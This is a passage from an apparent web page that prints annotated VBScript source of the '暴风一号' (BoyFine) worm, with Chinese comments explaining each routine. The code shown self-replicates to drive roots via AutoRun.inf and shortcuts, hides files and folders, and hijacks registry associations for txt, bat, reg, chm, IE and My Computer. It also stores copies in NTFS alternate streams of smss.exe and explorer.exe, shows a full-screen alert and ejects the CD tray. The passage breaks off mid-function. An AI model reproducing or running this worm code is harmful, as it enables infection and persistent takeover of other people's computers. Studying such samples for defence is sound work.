文件夹，用于保存临时文件。可以在 TMP 环境变量中找到该文件夹的路径。 </span></span><br><span class="line"><span class="comment">'//Left 返回指定数目的从字符串的左边算起的字符。</span></span><br><span class="line"><span class="keyword">Function</span> GetSystemDrive()</span><br><span class="line">    GetSystemDrive=<span class="built_in">Left</span>(Fso.GetSpecialFolder(<span class="number">0</span>),<span class="number">2</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//FileSystemObject.GetDrive返回与指定的路径中驱动器相对应的 Drive 对象。Drive 提供对磁盘驱动器或网络共享的属性的访问。</span></span><br><span class="line"><span class="comment">'//Drive.FileSystem返回指定的驱动器使用的文件系统的类型。</span></span><br><span class="line"><span class="keyword">Function</span> GetFileSystemType(Drive)</span><br><span class="line">    <span class="keyword">Set</span> d=FSO.GetDrive(Drive)</span><br><span class="line">    GetFileSystemType=d.FileSystem</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//读取注册表建值 返回所在路径</span></span><br><span class="line"><span class="keyword">Function</span> ReadReg(strkey)</span><br><span class="line">    <span class="keyword">Dim</span> tmps</span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="built_in">CreateObject</span>(<span class="string">"WScript.Shell"</span>)</span><br><span class="line">    ReadReg=tmps.RegRead(strkey)</span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="literal">Nothing</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//重写注册表键值</span></span><br><span class="line"><span class="keyword">Sub</span> WriteReg(strkey, Value, vtype)</span><br><span class="line">    <span class="keyword">Dim</span> tmps</span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="built_in">CreateObject</span>(<span class="string">"WScript.Shell"</span>)</span><br><span class="line">    <span class="keyword">If</span> vtype=<span class="string">""</span> <span class="keyword">Then</span></span><br><span class="line">        tmps.RegWrite strkey, Value</span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">        tmps.RegWrite strkey, Value, vtype</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="literal">Nothing</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//删除注册表键值</span></span><br><span class="line"><span class="keyword">Sub</span> DeleteReg(strkey)</span><br><span class="line">    <span class="keyword">Dim</span> tmps</span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="built_in">CreateObject</span>(<span class="string">"WScript.Shell"</span>)</span><br><span class="line">    tmps.RegDelete strkey</span><br><span class="line">    <span class="keyword">Set</span> tmps=<span class="literal">Nothing</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//设置隐藏属性</span></span><br><span class="line"><span class="keyword">Sub</span> SetHiddenAttr(path)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> vf</span><br><span class="line">    <span class="keyword">Set</span> vf=FSO.GetFile(path)</span><br><span class="line">    <span class="keyword">Set</span> vf=FSO.GetFolder(path)</span><br><span class="line">    vf.Attributes=<span class="number">6</span> <span class="comment">'// 6=2+4 分别是隐藏、系统属性</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//执行ExeFullName指定的文件</span></span><br><span class="line"><span class="keyword">Sub</span> Run(ExeFullName)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> WshShell</span><br><span class="line">    <span class="keyword">Set</span> WshShell=WScript.<span class="built_in">CreateObject</span>(<span class="string">"WScript.Shell"</span>)</span><br><span class="line">    WshShell.Run ExeFullName</span><br><span class="line">    <span class="keyword">Set</span> WshShell=<span class="literal">Nothing</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//感染根目录</span></span><br><span class="line"><span class="keyword">Sub</span> InfectRoot(D,VirusName)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> VBSCode</span><br><span class="line">    VBSCode=GetCode(WScript.ScriptFullName)</span><br><span class="line">    VBSPath=D&amp;<span class="string">":/"</span>&amp;VirusName</span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(VBSPath)=<span class="literal">False</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> CreateFile(VBSCode, VBSPath)</span><br><span class="line">        <span class="keyword">Call</span> SetHiddenAttr(VBSPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Set</span> Folder=Fso.GetFolder(D&amp;<span class="string">":/"</span>)  <span class="comment">'//隐藏根目录下的所有子目录</span></span><br><span class="line">    <span class="keyword">Set</span> SubFolders=Folder.Subfolders</span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> SubFolder <span class="keyword">In</span> SubFolders</span><br><span class="line">        SetHiddenAttr(SubFolder.Path)</span><br><span class="line">        LnkPath=D&amp;<span class="string">":/"</span>&amp;SubFolder.Name&amp;<span class="string">".lnk"</span>  <span class="comment">'//创建对应的快捷方式</span></span><br><span class="line">        TargetPath=D&amp;<span class="string">":/"</span>&amp;VirusName</span><br><span class="line">        Args=<span class="string">""""</span>&amp;D&amp;<span class="string">":/"</span>&amp;SubFolder.Name&amp; <span class="string">"/Dir"""</span></span><br><span class="line">        <span class="keyword">If</span> Fso.FileExists(LnkPath)=<span class="literal">False</span> <span class="keyword">Or</span> GetTargetPath(LnkPath) &lt;&gt; TargetPath <span class="keyword">Then</span></span><br><span class="line">            <span class="keyword">If</span> Fso.FileExists(LnkPath)=<span class="literal">True</span> <span class="keyword">Then</span></span><br><span class="line">                FSO.DeleteFile LnkPath, <span class="literal">True</span></span><br><span class="line">            <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">            <span class="keyword">Call</span> CreateShortcut(LnkPath,TargetPath,Args)</span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//上一步失败了调用这个函数创建快捷方式</span></span><br><span class="line"><span class="keyword">Sub</span> CreateShortcut(LnkPath,TargetPath,Args)</span><br><span class="line">    <span class="keyword">Set</span> Shortcut=WshShell.CreateShortcut(LnkPath)</span><br><span class="line">    <span class="keyword">with</span> Shortcut</span><br><span class="line">        .TargetPath=TargetPath</span><br><span class="line">        .Arguments=Args</span><br><span class="line">        .WindowStyle=<span class="number">4</span></span><br><span class="line">        .IconLocation=<span class="string">"%SystemRoot%/System32/Shell32.dll, 3"</span></span><br><span class="line">        .Save</span><br><span class="line">    <span class="keyword">end</span> <span class="keyword">with</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//创建autorun.inf文件</span></span><br><span class="line"><span class="keyword">Sub</span> CreateAutoRun(D,VirusName)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> InfPath, VBSPath, VBSCode</span><br><span class="line">    InfPath=D&amp;<span class="string">":/AutoRun.inf"</span></span><br><span class="line">    VBSPath=D&amp;<span class="string">":/"</span>&amp;VirusName</span><br><span class="line">    VBSCode=GetCode(WScript.ScriptFullName)</span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(InfPath)=<span class="literal">False</span> <span class="keyword">Or</span> FSO.FileExists(VBSPath)=<span class="literal">False</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> CreateFile(VBSCode, VBSPath)</span><br><span class="line">        <span class="keyword">Call</span> SetHiddenAttr(VBSPath)</span><br><span class="line">        StrInf=<span class="string">"[AutoRun]"</span>&amp;VBCRLF&amp;<span class="string">"Shellexecute=WScript.exe "</span>&amp;VirusName&amp;<span class="string">" ""AutoRun"""</span>&amp;VBCRLF&amp;<span class="string">"shell/open=打开(&amp;O)"</span>&amp;VBCRLF&amp;<span class="string">"shell/open/command=WScript.exe "</span>&amp;VirusName&amp;<span class="string">" </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">""AutoRun"""</span>&amp;VBCRLF&amp;<span class="string">"shell/open/Default=1"</span>&amp; VBCRLF&amp;<span class="string">"shell/explore=资源管理器(&amp;X)"</span>&amp;VBCRLF&amp;<span class="string">"shell/explore/command=WScript.exe "</span>&amp;VirusName&amp;<span class="string">" ""AutoRun"""</span></span><br><span class="line">        <span class="keyword">Call</span> KillImmunity(D)</span><br><span class="line">        <span class="keyword">Call</span> CreateFile(StrInf, InfPath)</span><br><span class="line">        <span class="keyword">Call</span> SetHiddenAttr(InfPath)</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变txt格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetTxtFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/txtfile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变ini格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetIniFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inifile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变inf格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetInfFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/inffile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变bat格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetBatFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/batfile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变cmd格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetCmdFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/cmdfile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变hlp格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SethlpFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/hlpfile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变reg格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetRegFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/regfile/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变chm格式文件关联</span></span><br><span class="line"><span class="keyword">Sub</span> SetchmFileAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" %1 %* "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/chm.file/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//篡改IE启动设置</span></span><br><span class="line"><span class="keyword">Sub</span> SetIEAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value</span><br><span class="line">    Value=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" OIE "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_LOCAL_MACHINE/SOFTWARE/Classes/Applications/iexplore.exe/shell/open/command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;871C5380-42A0-1069-A2EA-08002B30309D&#125;/shell/OpenHomePage/Command/"</span>, Value, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//改变我的电脑的打开关联，包括Win+E</span></span><br><span class="line"><span class="keyword">Sub</span> SetMyComputerAss(sFilePath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Value1,Value2</span><br><span class="line">    Value1=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" OMC "</span></span><br><span class="line">    Value2=<span class="string">"%SystemRoot%/System32/WScript.exe "</span>&amp;<span class="string">""""</span>&amp;sFilePath&amp;<span class="string">""""</span>&amp;<span class="string">" EMC "</span></span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;/shell/"</span>, <span class="string">""</span>, <span class="string">"REG_SZ"</span>)</span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;/shell/open/command/"</span>, Value1, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line">    <span class="keyword">Call</span> WriteReg(<span class="string">"HKEY_CLASSES_ROOT/CLSID/&#123;20D04FE0-3AEA-1069-A2D8-08002B30309D&#125;/shell/explore/command/"</span>, Value2, <span class="string">"REG_EXPAND_SZ"</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获得系统驱动盘符名 Drive.SerialNumber 盘符序列号 c--&gt;驱动器 C: - 固定&lt;BR&gt;序列号：-1598325125、d--&gt;驱动器 D: - 固定&lt;BR&gt;序列号：237835280、e、f。</span></span><br><span class="line"><span class="keyword">Function</span> GetSerialNumber(Drv)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Set</span> d=fso.GetDrive(Drv)</span><br><span class="line">    GetSerialNumber=d.SerialNumber <span class="comment">'// 返回十进制序列号，用于唯一标识一个磁盘卷。Select Case d.DriveType     Case 0: t = "未知"    Case 1: t = "可移动"    Case 2: t = "固定"</span></span><br><span class="line">                           <span class="comment">'// Case 3: t = "网络"    Case 4: t = "CD-ROM"    Case 5: t = "RAM 磁盘"      End Select</span></span><br><span class="line">    GetSerialNumber=<span class="built_in">Replace</span>(GetSerialNumber,<span class="string">"-"</span>,<span class="string">""</span>)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获得蠕虫病毒路径   &amp;表示字符串相加  GetSpecialFolder 返回指定的特殊文件夹</span></span><br><span class="line"><span class="keyword">Function</span> GetMainVirus(N)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    MainVirusName=GetSerialNumber(GetSystemDrive())&amp;<span class="string">".vbs"</span></span><br><span class="line">    <span class="keyword">If</span> GetFileSystemType(GetSystemDrive())=<span class="string">"NTFS"</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">If</span> N=<span class="number">1</span> <span class="keyword">Then</span> <span class="comment">'//System 文件夹，包含库、字体和设备驱动程序文件。 SystemFolder</span></span><br><span class="line">              GetMainVirus=Fso.GetSpecialFolder(N)&amp;<span class="string">"/smss.exe:"</span>&amp;MainVirusName <span class="comment">'//返回 如c:/windows/system32/smss.exe:72161642.vbs</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">        <span class="keyword">If</span> N=<span class="number">0</span> <span class="keyword">Then</span> <span class="comment">'//Windows 文件夹，包含 Windows 操作系统安装的文件。 WindowsFolder</span></span><br><span class="line">              GetMainVirus=Fso.GetSpecialFolder(N)&amp;<span class="string">"/explorer.exe:"</span>&amp;MainVirusName <span class="comment">'//返回 如c:/windows/explorer.exe:72161642.vbs</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">          GetMainVirus=Fso.GetSpecialFolder(N)&amp;<span class="string">"/"</span>&amp;MainVirusName</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//返回指定路径vbs脚本的运行个数</span></span><br><span class="line"><span class="keyword">Function</span> VBSProcessCount(VBSPath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> WMIService, ProcessList, Process</span><br><span class="line">    VBSProcessCount=<span class="number">0</span></span><br><span class="line">    <span class="keyword">Set</span> WMIService=<span class="built_in">GetObject</span>(<span class="string">"winmgmts://./root/cimv2"</span>)</span><br><span class="line">    <span class="keyword">Set</span> ProcessList=WMIService.ExecQuery(<span class="string">"Select * from Win32_Process Where "</span>&amp;<span class="string">"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'"</span>)</span><br><span class="line">    <span class="keyword">For</span> <span class="keyword">Each</span> Process <span class="keyword">in</span> ProcessList</span><br><span class="line">        <span class="keyword">If</span> <span class="built_in">InStr</span>(Process.CommandLine, VBSPath)&gt;<span class="number">0</span> <span class="keyword">Then</span></span><br><span class="line">            VBSProcessCount=VBSProcessCount+<span class="number">1</span></span><br><span class="line">        <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//'用来计数wscript进程的个数，如果大于等于3个那么返回True</span></span><br><span class="line"><span class="keyword">Function</span> PreDblInstance()</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    PreDblInstance=<span class="literal">False</span></span><br><span class="line">    <span class="keyword">If</span> VBSProcessCount(WScript.ScriptFullName)&gt;= <span class="number">3</span> <span class="keyword">Then</span></span><br><span class="line">        PreDblInstance=<span class="literal">True</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获取快捷方式的vbs脚本地址</span></span><br><span class="line"><span class="keyword">Function</span> GetTargetPath(LnkPath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> Shortcut</span><br><span class="line">    <span class="keyword">Set</span> Shortcut=WshShell.CreateShortcut(LnkPath)</span><br><span class="line">    GetTargetPath=Shortcut.TargetPath</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//读取文件 返回 TextStream</span></span><br><span class="line"><span class="keyword">Function</span> GetCode(FullPath)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> FileText</span><br><span class="line">    <span class="keyword">Set</span> FileText=FSO.OpenTextFile(FullPath, <span class="number">1</span>) <span class="comment">'//打开指定的文件并返回一个 TextStream 对象，可以读取、写入此对象或将其追加到文件。  </span></span><br><span class="line">                           <span class="comment">'// 1 以只读模式打开文件。不能对此文件进行写操作。 </span></span><br><span class="line">    GetCode=FileText.ReadAll <span class="comment">'//读入全部 TextStream 文件并返回结果字符串</span></span><br><span class="line">    FileText.Close</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获得注册表 版本键值 获取windows版本</span></span><br><span class="line"><span class="keyword">Function</span> GetVersion()</span><br><span class="line">    <span class="keyword">Dim</span> VerInfo</span><br><span class="line">    VerInfo=<span class="string">"HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Ver"</span></span><br><span class="line">    <span class="keyword">If</span> ReadReg(VerInfo)=<span class="string">""</span> <span class="keyword">Then</span></span><br><span class="line">        GetVersion=<span class="number">0</span></span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">        GetVersion=<span class="built_in">CInt</span>(ReadReg(VerInfo)) <span class="comment">'//CInt 返回表达式，此表达式已被转换为 Integer 子类型的 Variant。</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//网页文件BFAlert.hta</span></span><br><span class="line"><span class="keyword">Sub</span> VirusAlert()</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> HtaPath,HtaCode</span><br><span class="line">    HtaPath=Fso.GetSpecialFolder(<span class="number">1</span>)&amp;<span class="string">"/BFAlert.hta"</span></span><br><span class="line">    HtaCode=<span class="string">"&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;暴风一号&lt;/TITLE&gt;"</span>&amp;VBCRLF&amp;<span class="string">"&lt;HTA:APPLICATION APPLICATIONNAME=""BoyFine V1.0"" SCROLL=""no"" windowstate=""maximize"" </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">border=""none"""</span>&amp;VBCRLF&amp;<span class="string">"SINGLEINSTANCE=""yes"" CAPTION=""no"" contextMenu=""no"" ShowInTaskBar=""no"" selection=""no""&gt;"</span>&amp;VBCRLF&amp;<span class="string">"&lt;/HEAD&gt;&lt;BODY bgcolor=#000000&gt;&lt;DIV align </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">=""center""&gt;"</span>&amp;VBCRLF&amp;<span class="string">"&lt;font style=""font-size:3500%;font-family:Wingdings;color=red""&gt;N&lt;/font&gt;&lt;BR&gt;"</span>&amp;VBCRLF&amp;<span class="string">"&lt;font style=""font-size:200%;font-family:黑体;color=red""&gt;暴风一号</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&lt;/font&gt;"</span>&amp;VBCRLF&amp;<span class="string">"&lt;/DIV&gt;&lt;/BODY&gt;&lt;/HTML&gt;"</span></span><br><span class="line">    <span class="keyword">If</span> FSO.FileExists(HtaPath)=<span class="literal">False</span> <span class="keyword">Then</span></span><br><span class="line">        <span class="keyword">Call</span> CreateFile(HtaCode, HtaPath) <span class="comment">'//创建网页文件BFAlert.hta</span></span><br><span class="line">        <span class="keyword">Call</span> SetHiddenAttr(HtaPath) <span class="comment">'//设置隐藏</span></span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line">    <span class="keyword">Call</span> Run(HtaPath)</span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Sub</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//获得感染注册表时间键</span></span><br><span class="line"><span class="keyword">Function</span> GetInfectedDate()</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> DateInfo</span><br><span class="line">    DateInfo=<span class="string">"HKEY_CURRENT_USER/SoftWare/Microsoft/Windows NT/CurrentVersion/Windows/Date"</span></span><br><span class="line">    <span class="keyword">If</span> ReadReg(DateInfo)=<span class="string">""</span> <span class="keyword">Then</span></span><br><span class="line">        GetInfectedDate=<span class="string">""</span></span><br><span class="line">    <span class="keyword">Else</span></span><br><span class="line">        GetInfectedDate=<span class="built_in">CDate</span>(ReadReg(DateInfo))</span><br><span class="line">    <span class="keyword">End</span> <span class="keyword">If</span></span><br><span class="line"><span class="keyword">End</span> <span class="keyword">Function</span></span><br><span class="line"></span><br><span class="line"><span class="comment">'//弹出光驱</span></span><br><span class="line"><span class="keyword">Sub</span> MakeJoke(Times)</span><br><span class="line">    <span class="keyword">On</span> <span class="keyword">Error</span> <span class="keyword">Resume</span> <span class="keyword">Next</span></span><br><span class="line">    <span class="keyword">Dim</span> WMP, colCDROMs</span><br><span class="line">    <span class="keyword">Set</span> WMP = <span class="built_in">CreateObject</span>( <span class="string">"WMPlayer.OCX"</span> ) <span 